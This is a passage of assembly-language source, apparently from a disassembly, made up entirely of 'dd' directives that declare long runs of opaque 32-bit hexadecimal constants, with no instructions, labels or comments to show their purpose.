		dd 0BD035675h, 7BCB9F37h, 7F5892E9h, 0B4C1EC10h, 195A520Bh
		dd 5375C05Fh, 95757A1Fh, 9501F096h, 311278F8h, 9F215FF9h
		dd 0FE264038h, 74E30BE3h, 28930180h, 0C9F25BD9h, 0E93C9C7Ch
		dd 59C8812Fh, 0A1049F2Ch, 0D88887CAh, 0F33ECDDEh, 0DC2F8661h
		dd 7E02B429h, 289CC380h, 0AC14C3E3h, 0F37AAAA8h, 17191092h
		dd 0BFBEC52Dh, 46F86129h, 4AF29CA8h, 5EB910DBh,	0D591F557h
		dd 5100F62Ah, 0FE3EC5B5h, 16B003CDh, 0F202E0C0h, 0D667E0D0h
		dd 0A4C10C80h, 59316EE9h, 2670F7F2h, 1631F87Bh,	0AB0F5F92h
		dd 50EA5F3Bh, 2AB90390h, 0D1612B14h, 3929C917h,	0D185885h
		dd 0E8B74319h, 324FF768h, 76DF8F7h, 95D7C70h, 0F1D52959h
		dd 215C50DFh, 7234E590h, 2CAE1C40h, 194B82B2h, 17B88E8Ch
		dd 0E0A69D7h, 4A56CCE5h, 1242DF76h, 0BFF94074h,	331246BAh
		dd 75CA6ABFh, 8F35FD10h, 83F6C026h, 0C6A91A12h,	8309FDC9h
		dd 0FD54D8C2h, 595DE978h, 538BA312h, 0A3B48B6Fh, 0BCA7A1C1h
		dd 4B5A0405h, 2E74AED4h, 3403DFEh, 0B704CD72h, 0DBF68DB3h
		dd 41124082h, 101AE27h,	0CB3232F0h, 0CFD82233h,	41A99A08h
		dd 0DEECD57Fh, 22A79AE3h, 59620D4Bh, 8BC8309Dh,	5A465474h
		dd 0F81D18F7h, 17DDD3C3h, 0C406A297h, 828CFBE8h, 47E59D5Ah
		dd 72F1F689h, 68561390h, 4C7FA329h, 0B9BC7F60h,	0DD69ED81h
		dd 853FF932h, 0ED2064ECh, 6A32631Ah, 0F6E311F5h, 0C4E41A17h
		dd 0E5150FAFh, 0DA9810B2h, 0A63004B0h, 0A8C28328h, 0B4032A93h
		dd 95EC469Dh, 3AF7CCE2h, 7BAECA3Eh, 0D8FAE9D0h,	0D1C20901h
		dd 1ADC68E2h, 0FFCC827Ch, 6F482903h, 0A2D0C504h, 0F262D9D7h
		dd 0FBFEA59Dh, 0EDFEF20Ch, 0F71A44FAh, 14D7ECAAh, 49DA611Ah
		dd 3F5C3368h, 8EE27631h, 1BF75702h, 45B9E159h, 72CACF87h
		dd 0C1CE618h, 0AA040A08h, 333C0F1Fh, 50E91A41h,	2162D34h
		dd 6FE5105Ah, 5C16021h,	0B0571DC7h, 0B4094113h,	0EA01E4F1h
		dd 0D8F0CD42h, 1A9ABE1Eh, 44083C53h, 0E828129Bh, 255E5822h
		dd 5ACECEF9h, 8349D1D2h, 58C7A8Eh, 0C51D0797h, 191BB5Bh
		dd 655310C6h, 0A5F928C9h, 2934B5F2h, 93B21Ch, 9173C381h
		dd 24018C55h, 25425BDDh, 61502E79h, 0E522B436h,	9EA0AC5Ch
		dd 0AA99AFF4h, 0B1D3173Fh, 61C56B5Dh, 128AFE8h,	72BD0537h
		dd 0C0216635h, 0E253BEF5h, 17C4E34Ah, 7B68B801h, 0C67A44C8h
		dd 0BC1FBC32h, 0E985F455h, 691DD660h, 637A1181h, 0AFF4D931h
		dd 85FDD319h, 0B524805Fh, 1D7F6759h, 0E1EB9424h, 21685060h
		dd 490BB115h, 75A7DB3h,	56C552A2h, 216706BEh, 3E9025F0h
		dd 80E34E69h, 693E123Ah, 0ED83305Dh, 6B30E5B0h,	2FA22658h
		dd 342EE0E0h, 0C3282831h, 0CA6499Ah, 1259B64Fh,	70656D68h
		dd 556CE000h, 6813272h,	0B91204F3h, 0DE130C0Ah,	0CE84A5Dh
		dd 0EB021B4Ch, 10DD0C6Eh, 0D1820163h, 0A2CB746h, 5A47D7C7h
		dd 0CC301FF2h, 2068F80Eh, 0EEFF7DF8h, 0C689BBA3h, 91DE2C25h
		dd 0DBE481D8h, 3C601635h, 0DA51B229h, 0F3B85DCCh, 48998D0Fh
		dd 5F935AEBh, 0CDDA127Ah, 2F4521D7h, 970CCA96h,	2FF9D6C4h
		dd 1EEEF1D5h, 45DB93A5h, 0FC4F0B10h, 5E4BDA9Dh,	90201BFh
		dd 41290833h, 44D301C2h, 0A10B10EEh, 795A1C0Dh,	7CD4D862h
		dd 1287F09h, 84008F3h, 14130C34h, 458D6253h, 0ED102621h
		dd 0B577CC80h, 30C1AE81h, 0CC8205DCh, 4DC28558h, 9340B355h
		dd 70E17CECh, 2C2A838Ch, 83E604DCh, 0DE4EB7D0h,	24B6520Ch
		dd 3BC0413Ch, 0B3007BDAh, 1ECB8067h, 0C54D26E9h, 106F58D7h
		dd 681C0747h, 693A546h,	241D32C1h, 0C4406D0Ah, 79E6B05Ch
		dd 0F7B720A8h, 31DBB07h, 0DB857BCFh, 27278F0Eh,	0D3863765h
		dd 25E91B14h, 31B13FBCh, 9C6F8945h, 202EC65Fh, 54768BFCh
		dd 3BEFB02Eh, 58745251h, 200948CEh, 0C9019C4Fh,	29E44B2h
		dd 0CA17F253h, 0ECA36489h, 7A82B732h, 0A277B586h, 74B6574Dh
		dd 2ACCBFF3h, 0E012EC07h, 4D03D91Fh, 5612454Dh,	8507D1F7h
		dd 8747B3FEh, 30FB9A55h, 0F3CB803h, 0BF330E00h,	7D3666D7h
		dd 8AC74A31h, 7C97481Ah, 0C53E300Ch, 121F6402h,	0E17E717Bh
		dd 7D006FE0h, 0A48943EFh, 0B4E914F5h, 0B5A78DC0h, 6B9E545Eh
		dd 4F74466Bh, 8012A5BEh, 0CF685B19h, 72F6962Ch,	7925B272h
		dd 0F6614EA7h, 0FEADAACEh, 8114936Ch, 3E5758E6h, 535F0D9Ah
		dd 0ACC70CD7h, 0F690FE9Fh, 344FD664h, 569422BFh, 189D5CD0h
		dd 2BE0578h, 68356C46h,	7BEC7CDEh, 965D9101h, 22E95544h
		dd 0BDBB073Ah, 0BE80F93Ch, 0FBFF581h, 41B536F0h, 68CEC18Bh
		dd 26074394h, 1B9D0CA0h, 80C41804h, 42D7E956h, 942F8C9Bh
		dd 0B754622Eh, 0FD4ABE9h, 0C08C18Fh, 0BB552B98h, 8CBC8A45h
		dd 0DD6850D8h, 15F3415Fh, 51B0234h, 0ECB67997h,	81CBDF42h
		dd 840B1A07h, 11A04090h, 9D220505h, 9101F0B3h, 6F324A2Dh
		dd 0BA5ED28Ch, 4FEC9754h, 0C3B1ECD2h, 0EA2BD93Eh, 98A3622h
		dd 8C5BB785h, 723C60CEh, 0B0A55B4Dh, 0A5800804h, 0CF540ADh
		dd 3A4BE945h, 0C16E095Ch, 0D3E08D94h, 1D5BC52Ch, 0A9DEB7F4h
		dd 801FC42h, 5489F8E9h,	0B8318099h, 294E53EFh, 4DA5A104h
		dd 0B5251313h, 0BE9DECC2h, 0E82AFD0h, 0DFCB814Bh, 0DC54F98Bh
		dd 0C3BD60CAh, 0B039C0Fh, 4D02EDC1h, 5EA4A481h,	53D500F7h
		dd 46B1BF57h, 0CE906D65h, 0D733C09h, 0D0C30041h, 0C05BE22Fh
		dd 5ACFF69Ah, 0FB168940h, 3EC1315Fh, 2C3EEAF8h,	29045C50h
		dd 1E8568D8h, 0B94A11F3h, 0CFE9091Eh, 82D8FEB9h, 0DD4FFDEFh
		dd 0ABE24A60h, 6F207E82h, 0E770F469h, 354362A9h, 0B4013C7Ah
		dd 25CDB8CCh, 664292E9h, 447ACFFEh, 0CC554E90h,	430068A1h
		dd 5A7BA771h, 0BD18E942h, 0E830AA82h, 6D27D1F8h, 12CE59C8h
		dd 0B4E5812Bh, 391860FCh, 3CB675F4h, 1ED1652Fh,	0D5382789h
		dd 68244D9h, 954FDBAAh,	3E1E46D0h, 7BB210h, 43D24FC6h
		dd 0CF50142h, 235DE95Eh, 2C1ECBD3h, 0C06EC646h,	2DD1072Fh
		dd 396272B0h, 0EFD04C01h, 5A010842h, 0C950A72Dh, 0D40C6030h
		dd 212CA492h, 11EA35DDh, 8E12A600h, 48EFC140h, 0AA067F03h
		dd 0A47C4C5Fh, 0E8221103h, 15F72152h, 0BBA3B098h, 655FE602h
		dd 0A3614C41h, 7F5207C5h, 96896688h, 0EA4D2D61h, 0AF44E905h
		dd 189172A8h, 0EBA2E9C2h, 7195D966h, 94516471h,	6D12BF05h
		dd 5C0DE9CAh, 6B93F121h, 0E909B59Eh, 627C4A10h,	0F518776Dh
		dd 119B4BE9h, 68825613h, 866C6957h, 0A7B6B84Bh,	5F6B022Ah
		dd 376845A8h, 1A3CBFEAh, 59E54040h, 1CE28C8h, 251FDBBFh
		dd 291E3116h, 7A55B16h,	0F9D65288h, 0D6BD5509h,	0BAC640D4h
		dd 6A02A640h, 0F2E9EE01h
		dd 9C38F748h, 6F13C868h, 16A22EDDh, 0E95AA093h,	0B135B824h
		dd 0FFF821C1h, 9597E2A2h, 0E9E3A279h, 503B4839h, 47055848h
		dd 0C028B506h, 5F795771h, 0F6C6724Bh, 17CD791Eh, 501951Ah
		dd 0B49876EEh, 4E1E06B4h, 6AD426A7h, 0EDEE819Eh, 94208CA2h
		dd 1839CD6h, 0D25468BEh, 83AC2545h, 2B4C9168h, 9523527h
		dd 0A4D2BC26h, 18634EAh, 4065E4A2h, 20408275h, 608ABF9Ah
		dd 2E7FFE36h, 13B87280h, 4892A910h, 0C41414EFh,	2D050957h
		dd 7C6E0931h, 0CFD0BA9h, 0D39C0BFCh, 543C14F2h,	57222F09h
		dd 0C0013133h, 1E3E07E1h, 0B18BD7C6h, 58C6C0D7h, 3060C2B9h
		dd 4ABBE9F0h, 0B3A140D5h, 13CE754h, 417BCB58h, 25303A08h
		dd 0A974F068h, 123ABFD1h, 0EC30BB7Eh, 0A166BC5h, 0FD0175B8h
		dd 4E0820CDh, 0D9AE125Fh, 18F733B4h, 0AC593742h, 7ED183A6h
		dd 7871232Ch, 10778E25h, 0BB65238h, 3DB753D8h, 8DBEC9F8h
		dd 6A965E0Ah, 0D0ABAD25h, 5F2FBA2Dh, 0E354D9C4h, 35B053BEh
		dd 299C2F03h, 0F1C389D6h, 0A32A41A6h, 2B42057Ah, 0EE814C33h
		dd 0C92A0322h, 4A4E2086h, 571BB99Dh, 9AA071F0h,	0F0C07C38h
		dd 801FC360h, 60520F1h,	59CA284Bh, 0CC8AB316h, 623C0545h
		dd 4C06E982h, 20D28E49h, 0FC176FECh, 0E8C1F37Fh, 5A022EECh
		dd 0EAB5BFEEh, 0C194FFEDh, 0EB2DD830h, 3BF52BC6h, 0F6031D78h
		dd 3D870597h, 0DBD71804h, 92A6DFF7h, 52CE407Ah,	0DA5B85ECh
		dd 93B46F97h, 21410500h, 8E900C28h, 6A58130Bh, 6741A079h
		dd 0C12E574Ch, 2669B10Ch, 35F5F038h, 50951F1Ah,	34E00618h
		dd 1825BF48h, 4A22FD2Dh, 68D2E40Bh, 0B4416191h,	0EBFC49CFh
		dd 0EEE9E971h, 0C54EC963h, 703CBE2Bh, 0E6578201h, 88A8B477h
		dd 1058521h, 2CEB5BDEh,	214D2A1Ah, 98CD927Dh, 27FDCA7Bh
		dd 2D25E1F4h, 0FCC5942Ah, 20480051h, 0D6892C5Eh, 0BF0AF0E9h
		dd 410905C4h, 76B2D791h, 0DF19094Bh, 0E695ADC6h, 928AFE3Bh
		dd 0B1B804D2h, 0A073BF03h, 2CFC559Dh, 0A0027CF3h, 3957F381h
		dd 0CEEB5F6Dh, 0D5F9272Bh, 5F58C243h, 0E9C62CE5h, 9ABFC972h
		dd 5758C2E2h, 8050C0A4h, 97B0CDDFh, 15F8303Fh, 5E639C01h
		dd 302F3D29h, 5DEA2943h, 40763EA2h, 0D1C0BF80h,	27E9CED8h
		dd 0A814EC04h, 0DB70D0C4h, 1B010513h, 13A499Ah,	5FFA35D2h
		dd 85A9B058h, 0B7983A64h, 66A9A946h, 0FB3537Bh,	13A587FAh
		dd 5B54CD84h, 0FB8F5FE9h, 55C4604Fh, 28FDEF68h,	4E98C16Fh
		dd 3AF430BCh, 6299BF4Ah, 0D4003EC8h, 558DBE59h,	0F77F05E2h
		dd 121F68D6h, 9D08E015h, 920C11C0h, 7CFED8F6h, 27847DC0h
		dd 5C28998Ch, 45A30EA8h, 5F102C8Ch, 42653AE3h, 40CE548Ch
		dd 511E52D5h, 0A4BEBB5h, 4F567E8Ah, 81C8D016h, 0E38D5F2h
		dd 30CEF3Fh, 0E077204Ch, 16B672EAh, 4431EB2Bh, 1D0B686Fh
		dd 34925BFBh, 6155609h,	1CCFB252h, 0D83B5A79h, 32E9922Ch
		dd 4249A5C2h, 8ADA5899h, 0A03C438Bh, 602B153Fh,	9E970C32h
		dd 89641D62h, 12BECFB0h, 0A63FE981h, 76E3001Ah,	0B9513B36h
		dd 590308CFh, 0E9CA314Ah, 32F14894h, 4925EE53h,	0AEC53FA5h
		dd 2CACDA53h, 0ECF23F2Ah, 0BAC05447h, 0CB5B48DDh, 21A38C12h
		dd 2A5EF51h, 0E8C1D652h, 633A2599h, 0FB254873h,	0C680422h
		dd 0D2D0985Bh, 4F5FCF40h, 0D8D62D01h, 5B0988EFh, 0DC31F7CBh
		dd 31575924h, 0BB34CC55h, 20E87251h, 251635CFh,	5205DAF7h
		dd 0CA9467E9h, 0E64A39BCh, 25299779h, 9684020h,	48083E9Ch
		dd 0CE8A2082h, 51F80102h, 0A651A5BAh, 0AD4CE941h, 95F20024h
		dd 13E31940h, 240B663Fh, 6885EF52h, 0D6456496h,	38BB08BAh
		dd 713168BFh, 0D321271Ch, 0FBDC3AA5h, 8F859492h, 10ED9599h
		dd 581DEE3Ch, 13DAF95Eh, 0F3370000h, 4C1B07BCh,	12DF8933h
		dd 0C546F8EFh, 90E92670h, 7F888498h, 25C3B638h,	5920D659h
		dd 3200E3DAh, 9F8626BBh, 2D685609h, 35983F6Ah, 59BE1063h
		dd 21020796h, 61C00884h, 4538FDE3h, 3590ABD1h, 370A92C5h
		dd 0E5D4868Bh, 3EBC117h, 0A7F4B90Fh, 0F7E469E0h, 2BDB6F0h
		dd 2EC73505h, 8D82E5C1h, 94448D87h, 85CB9109h, 0D4650B8Eh
		dd 0E8E9842Ah, 0C38EF26h, 0E96317B3h, 0BEDC5245h, 4EA80864h
		dd 5103C83Ch, 40CDE99Ch, 9149B92Ah, 4DBDC2E6h, 31B8130Bh
		dd 813C1F67h, 677FF327h, 876F2EFFh, 0B130E3F4h,	11EF4F01h
		dd 58074629h, 275296Bh,	54AFC8FBh, 0AACC0204h, 968F188h
		dd 92595052h, 0C5818765h, 5E8548B1h, 0C4E9D043h, 0BA037FB8h
		dd 31FF606Ch, 0CDD2F28Ah, 92D3F32Dh, 50B77425h,	23CF15E9h
		dd 0D110F3B7h, 333C17A4h, 0BA1675F9h, 0F333607Fh, 1202A66Bh
		dd 0BCAB46BEh, 63D8803Bh, 0CE1EB371h, 3982090Ch, 855290Ch
		dd 0C340810h, 68591401h, 686727h, 0BA42B9C1h, 0A0768274h
		dd 5FB45BFCh, 0BF5B9C16h, 36980A17h, 28AF40E5h,	0A2A1CB4Eh
		dd 39809A20h, 0ED879EC5h, 2F8D04D1h, 13DFBCB2h,	0E9BDDD05h
		dd 511700D3h, 0E9806CB1h, 75287A59h, 0C1010F5Eh, 299A6852h
		dd 0D4058988h, 5ECBDA2Ch, 1ECB698Ch, 0E8015D25h, 82800ED1h
		dd 0D44B5671h, 5FEEAF93h, 0B5851C9Fh, 7860E36Ah, 0E200C071h
		dd 80D2F607h, 5AE9BEC2h, 88A30550h, 0AF9A83F3h,	0B5666926h
		dd 0AC57620Eh, 31F30E43h, 50193DF1h, 2C273E38h,	0A94404FBh
		dd 7E88BBE0h, 8FB12EEAh, 129068DEh, 6C87B19Bh, 40EFE416h
		dd 685355A9h, 7AC11D4Bh, 35AABD5Bh, 581FBFCh, 501156EDh
		dd 10768575h, 5B300873h, 0F304400Eh, 0EDD14A13h, 7C06180Fh
		dd 8D460EF8h, 4F5C734h,	1068867h, 8B2020A4h, 4D62514Bh
		dd 26A87AA3h, 0C0695EF1h, 72037505h, 0C801200Ah, 0E904072Dh
		dd 27EB9F4Eh, 0D01B85FEh, 58E13025h, 411224E7h,	0CD8CF04Fh
		dd 0F08F5847h, 55F82698h, 0ECF50134h, 3BA80813h, 0F71B4384h
		dd 0E72C4EA5h, 819A2Fh,	0CCFE6EB4h, 0F606ECC0h,	0C480DC00h
		dd 0E9E2303Fh, 131CBA27h, 0B963E168h, 9DBAA4DAh, 0BA768033h
		dd 8522C605h, 58B5EE9h,	90EFC1B6h, 6B7ABC0Eh, 0FB31772Eh
		dd 0F62E5828h, 56126C9Bh, 0D52F49A1h, 0EB390909h, 0BFDCFE62h
		dd 9D7E8C50h, 8E4062A7h, 1A54F60Bh, 21A25744h, 5FCB434Ch
		dd 0EAC390E8h, 0F700FF82h, 4015B633h, 5AD12913h, 6CA43B16h
		dd 4DEE40A1h, 0BA9A46ECh, 9C138831h, 63933AF7h,	7BDF0BF8h
		dd 4648CCEBh, 0F1CB4B92h, 84E0E913h, 4ADFA862h,	0D21079F6h
		dd 0BDBF029Eh, 7C4A7907h, 0BB530A77h, 17EF0BF8h, 4B8CF556h
		dd 2F27C881h, 0AEEB441Fh, 971E3AC8h, 482BB358h,	5CA144E0h
		dd 102032E7h, 813B7DEEh, 856F2904h, 9CDB87Ah, 4057F6Dh
		dd 71B7F559h, 2168B44Eh, 8CA24A1h, 0CB50BC3h, 66292046h
		dd 4C2FA676h, 38273239h, 6242C5EFh, 0CD3837Ah, 14CA92D5h
		dd 0E5B85014h, 0A35F85D4h, 44E90B51h, 27C9E49Bh, 0F8A58268h
		dd 66A647CFh, 0E91365BBh, 0E3040FD4h, 0BB296A71h, 2CD9E2ADh
		dd 84ECBE0Ch, 0BAD6919Dh, 4F0307Ah, 29B81A92h, 84A7395Eh
		dd 0D8099125h, 450A4480h, 5E3E41F5h, 2BD6AF46h,	696B51BFh
		dd 0B3658812h, 2F126893h, 0FEAC8734h, 0AC12EBD2h, 648E79FDh
		dd 0AA1F123Dh, 1B49D714h, 0C097F2E9h, 0BE3F680h, 45AF088h
		dd 0E9C1A200h, 0A0BD155Fh, 0B10E41D5h, 0DE0120B0h, 0C662CD96h
		dd 5BAE5C58h, 0BBE9BF09h, 42E6FCE7h, 0B6862605h, 0EF4010F7h
		dd 7D0859E9h, 5EF02100h, 0BF531935h, 0B80D7100h, 2D1EC23Fh
		dd 0D67F3BB9h, 2FD7E1CBh
		dd 0A405368Dh, 0EC130A4h, 2D4C5FFBh, 9F02E1A7h,	570E40E1h
		dd 80856E8Dh, 0D4D8AF24h, 0CC2D0158h, 6827E035h, 7266FEAFh
		dd 5CFCA58Ch, 54530B12h, 7C2B8A09h, 1BC6C9ECh, 2C0D00BFh
		dd 511532h, 5341C7B9h, 0C3C9811Fh, 5FCD7D03h, 38A989E9h
		dd 4589BDB8h, 0BC0F7360h, 2AE90338h, 0BA34224Bh, 22AD9DC4h
		dd 50A1C703h, 6BD930D9h, 1777BB19h, 20B7A699h, 1F68D22Fh
		dd 0BA807BF8h, 0C74E0745h, 0C6D5315Fh, 44B75938h, 14954DD7h
		dd 30358D5Bh, 2BC0D1DEh, 1A6D1BBFh, 0B445F40Ch,	0A3AD170Bh
		dd 32C17D1Fh, 0E63508BEh, 0D07EB12Ah, 54C5251h,	542903F5h
		dd 0E8460372h, 3E5CF1CEh, 0F6B92D32h, 4B061A8Bh, 8405AB20h
		dd 3A12EC53h, 2F80D8E9h, 7987D7F7h, 933F27F9h, 0D27C2D2Bh
		dd 4F985749h, 0BF800FF2h, 0BD141627h, 4D5BC2Eh,	45AD0B99h
		dd 0D744510Fh, 36C5AAE6h, 68B77100h, 48403C67h,	7D04B735h
		dd 0B8A2E960h, 0E65F87h, 20918D5Ah, 0CE91143Ah,	3873FFA0h
		dd 73334B2Dh, 2C5C005Ah, 0F2810C41h, 0F675CE05h, 1780311Fh
		dd 0DCFEE949h, 0FBFC65CEh, 507CF300h, 9051A0B0h, 9CB44E0Ch
		dd 0E80EC170h, 4EC8310Ah, 8C68CF0h, 3DE431E9h, 31015E8Eh
		dd 22CD7E0Dh, 3825623Ah, 300B527Ch, 0CFEA7CD9h,	923CF933h
		dd 663D20FAh, 6A5BA268h, 7AC70221h, 0FCAC9C96h,	14B3C0DDh
		dd 58A2B151h, 481044F6h, 0D0B05BF7h, 0FF162BDh,	99595DE8h
		dd 58A61149h, 0FE79442Ah, 0E834FA34h, 5AE65380h, 0C0D600Bh
		dd 3BC168C7h, 8A62897h,	0C2055627h, 0C57B0CA8h,	22F8688Bh
		dd 0CAB8E9E5h, 0E402DD7Ch, 0D100809Ch, 9C23BEAh, 0DF6A840Fh
		dd 400D3A7Fh, 1E7657C7h, 4BE5475h, 0D7F22DAFh, 0E955E09Eh
		dd 0EC9FA00Ah, 8CBD200Eh, 314B25B0h, 7C05FC03h,	89A3E7CDh
		dd 2CB3E1C7h, 0B34D663Dh, 2450DF2Eh, 4DF3032Bh,	8992EC84h
		dd 0DC6AB082h, 1CBE4904h, 0E04EFD1Dh, 0ED07616Ah, 0CF896DB7h
		dd 85B1C2A5h, 817CC02Eh, 7C2D7FE2h, 0B8C03B46h,	4A4AA31Bh
		dd 3D0EC09h, 0E37BCFEAh, 1C57C95Eh, 79CAB888h, 47E2890Bh
		dd 0D0E9841Fh, 3936A940h, 3524CFD8h, 0FB7655A3h, 63E97D89h
		dd 90DFD062h, 4EAF0FA3h, 0B2BF1EC8h, 0C0605077h, 6A981307h
		dd 0FD05EE99h, 32814071h, 0D73BFA8h, 96CE2778h,	0A86B9A19h
		dd 2E34B049h, 24F18A16h, 0A2B5882h, 176075B2h, 74284EEDh
		dd 0CD048476h, 13E038DBh, 369545C5h, 0EEF364BFh, 0BF57F600h
		dd 26CF11FBh, 3A40472Fh, 0F9938DBEh, 0E995C162h, 0A4093BD9h
		dd 0D760B259h, 0D6C0588h, 2FA917E9h, 0F403F5F4h, 9DB25B47h
		dd 7219C9E1h, 78FD10CDh, 12DF7E4Dh, 1D28EE59h, 17036968h
		dd 1F56E129h, 5A4C9854h, 5F6904D8h, 0DF7EEC56h,	0E4D05449h
		dd 3862B519h, 0FA04F75h, 0F4739AE9h, 110BF759h,	762D46E2h
		dd 0A0569373h, 3A130625h, 0E6013B42h, 7B240D90h, 17B8E7D8h
		dd 1250C67h, 0BC469530h, 0C7BA500Bh, 112760F4h,	0F72D4089h
		dd 0F9E90D3h, 0EF7FAF98h, 41D21E92h, 274CF0E6h,	3D47606Fh
		dd 74C72113h, 0B9704AFh, 0FAB90B20h, 9FCAF8A6h,	81A0D694h
		dd 8A207CFDh, 6439092Eh, 2B843DA4h, 0EA7A7AAh, 0E5F66855h
		dd 0C6B075DAh, 0E78980F7h, 0BE595078h, 9CBF2B73h, 73213000h
		dd 4F24E965h, 10C5E394h, 0F14B92B3h, 9AB7E06Bh,	6DA841C0h
		dd 0F6531F34h, 2625EF20h, 10F5E22Bh, 5A1877E7h,	0CECD7A57h
		dd 8B605681h, 741D1F88h, 0E59B1248h, 8B54074h, 184B750Eh
		dd 43123CACh, 0CBFDB81Ch, 0E998250h, 2537453Eh,	0E96124D6h
		dd 443B15FAh, 2E8E4D5h,	0D1565368h, 2E638019h, 32E922B3h
		dd 0FEA23B4Bh, 0BD887F78h, 98A2B118h, 0C00008ABh, 9843463h
		dd 1D71C535h, 0C4051831h, 0AA2E1506h, 0D8F7C004h, 28C502BFh
		dd 42771ADAh, 134CD679h, 0A90085F2h, 30EF926Fh,	2DEC6881h
		dd 1A35759Ah, 12BB2EF3h, 0C2AB80Bh, 0C13697Eh, 76FE396Eh
		dd 0CB90E98Ah, 0E070A7D6h, 0D7C7DA24h, 0BAD3EA9Fh, 72AA2485h
		dd 1EF42C50h, 9D02B958h, 243F4A99h, 5A0B5357h, 9A293868h
		dd 9B0584Dh, 2716582Eh,	1F234086h, 0EF13CD72h, 2BF0595Dh
		dd 0BA8540B9h, 289FAE2Eh, 7FD12909h, 973C4910h,	8684B4A6h
		dd 660FD884h, 0E5638F47h, 4594FFC1h, 0F607FAF8h, 9230E02Bh
		dd 7A8AB728h, 64CA2597h, 6D78854Ah, 97F49EBFh, 5655DEA0h
		dd 0CE4AAAE9h, 5031A792h, 7A8EBE8Ch, 38C4BBDAh,	0D8AF1198h
		dd 0C341016Eh, 123E926Bh, 2C247D74h, 0AD57DB02h, 0B0154048h
		dd 7A1F251Dh, 0CF8F14DCh, 866B29A3h, 122DF30h, 65F911B1h
		dd 3A05EDC1h, 7BE6EE80h, 80734B4Dh, 0D5F90252h,	0D51EE926h
		dd 0B0A3B996h, 0C72FE245h, 2DD830D2h, 0B0484D56h, 77F5111Fh
		dd 0AF5FF914h, 0B196023Dh, 0D3BEFCF2h, 0F78459B8h, 515B0275h
		dd 54AF4253h, 2D0A26BFh, 4C6F33F9h, 1C2F7F1h, 2AF5446h
		dd 6F5AD321h, 0A05BA049h, 60D1C3A4h, 0C7260ACh,	89522A11h
		dd 0F2C5E912h, 57050F32h, 0AAF61F16h, 0B3A6516h, 7109784h
		dd 0AE1213E3h, 71A169A8h, 19C93E93h, 40CCAB60h,	0E80388D6h
		dd 30CEFE59h, 0FC693F0h, 6B25208h, 7DCA69h, 2803F238h
		dd 5E1990D0h, 783BE226h, 2B90345Ah, 0F91FF0C1h,	0F0495DC8h
		dd 2CBE0BF1h, 0AB851914h, 0E9030705h, 0F8ED2406h, 0F492DE1Dh
		dd 0ABB9C656h, 995BB490h, 15616F8Dh, 85043AA9h,	65BA847h
		dd 34AF43EAh, 420E9690h, 58021B40h, 4E655F01h, 0D26B5CA7h
		dd 0F06208FCh, 0A14F0574h, 0A0C544CAh, 0E80C3503h, 84521061h
		dd 80271689h, 4AA3E846h, 0EB10A4BDh, 7BB80121h,	4860BD0Ah
		dd 0D05A030h, 5B74618Ah, 5EC520C6h, 0A0519E40h,	24B56CC4h
		dd 98792898h, 24B91BD0h, 446F0D14h, 5A0725A9h, 21F1007Fh
		dd 535BF4Ch, 0FA75528Ch, 7801392h, 0F8782959h, 0AE57E21Fh
		dd 2F66F9E5h, 249E851h,	6EB2B58h, 55586B5Bh, 5625000Eh
		dd 2D487667h, 2EDEA8Eh,	6A410508h, 27C1F7D8h, 4333DCCh
		dd 183D744Eh, 2485B582h, 8F56012Ch, 0F32B3842h,	0B4680842h
		dd 35E9050Dh, 3414F28Ah, 0C2A8E452h, 9E2DAD01h,	0ED387149h
		dd 2B162FD1h, 4A5A2D2Ch, 9208B856h, 284FB4ADh, 6E122994h
		dd 40FE039Eh, 68BBE367h, 4A986762h, 23FFC1Fh, 172029D4h
		dd 4CC1AEE9h, 0FE60DEF7h, 3F849418h, 0C34E43B8h, 21E22383h
		dd 5FBF3EC8h, 0F4F7F12h, 78856284h, 1A01EEA2h, 0E91C063Eh
		dd 4A3B3CC9h, 74A51EF2h, 0A4E5E861h, 7E7829FFh,	0CA3E342Dh
		dd 0CD885E08h, 0F9D832E9h, 89DFD0E7h, 7BD980BDh, 4A406890h
		dd 1E1BC48h, 4E4D7903h,	0F43BE6C1h, 0DD09C6EAh,	0DE757D80h
		dd 200D9E98h, 13303AF1h, 0FEC8BF0Fh, 0B4E45E52h, 3179B74Ah
		dd 39C5685Ah, 1C22CC39h, 2735DD10h, 0E1747159h,	23C53EE9h
		dd 6F904D0Fh, 0E9BBC92Fh, 2F60DD92h, 0F46A1BE2h, 6CF98099h
		dd 544A8105h, 17BB535Dh, 9D4327C4h, 871668F0h, 0C91D8D79h
		dd 1390BD75h, 50747E56h, 0BBD8E37h, 291CAC02h, 4805DD93h
		dd 0CC6158Dh, 59F9F70Bh, 0B782A8D4h, 680B5247h,	0E9F9A1A7h
		dd 0DD3E9A8Bh, 0D50F2009h, 98A0B680h, 0BCA4F2E5h, 0BF575046h
		dd 0DB763B05h, 0BB884744h, 248917C6h, 3A88E1BBh, 4EEC80B0h
		dd 68BD30EDh, 0E4B44C82h, 18084ECCh, 482B5140h,	0AA0F0DB8h
		dd 94E5C12Ah, 94A505A9h, 0F9833E52h, 0AD99BE9h,	76EE6854h
		dd 77986926h, 0C45EE953h, 0A0C56594h, 46138CB8h, 0E260B82Fh
		dd 2DD36409h, 0CF18721Dh
		dd 5481ECD1h, 48629B6Fh, 9232102Eh, 4B10904Ch, 0F28101DFh
		dd 48C14AF0h, 5BB10C82h, 0F84151EEh, 10246D1Bh,	0BA00E849h
		dd 3ED14A34h, 0D00D0BBBh, 0C001CB43h, 62070640h, 92117EAh
		dd 2BB80BF3h, 15623AF4h, 8D290BC9h, 504E575Ah, 462B4CB1h
		dd 99ADBC57h, 2E18C348h, 0D9001C83h, 2F3CBB5Bh,	0C58E5BC7h
		dd 0EB349093h, 0A727659Bh, 1E41560Bh, 0D5B07E87h, 0F3BDE908h
		dd 0C9479BBDh, 0D16A37EAh, 9A86C93Ch, 0DD905A1Eh, 2EAF7D31h
		dd 7164EA21h, 3AA7FF81h, 2B89277Dh, 0AA901DE0h,	5D405DA3h
		dd 0DC301155h, 0B2540C0Eh, 55D5A94h, 0B1FA87B4h, 4C57D253h
		dd 0E6C202F9h, 29D47611h, 8542A97Fh, 17D9282Fh,	833856E5h
		dd 593B6809h, 6489A7D1h, 2098C61Ah, 544CEFACh, 0ECB684E5h
		dd 48006614h, 81186952h, 1F1D1BEFh, 0F781516Bh,	336D116Fh
		dd 0A7818A4h, 0C28238h,	474B107Dh, 0B7A2FB29h, 0E95F0800h
		dd 40BAC27Bh, 7970D327h, 0E9DB9661h, 512704E9h,	9883743Fh
		dd 0A4E0E903h, 0ECF0342Bh, 0E134A7E0h, 48C222C1h, 1EB3877Bh
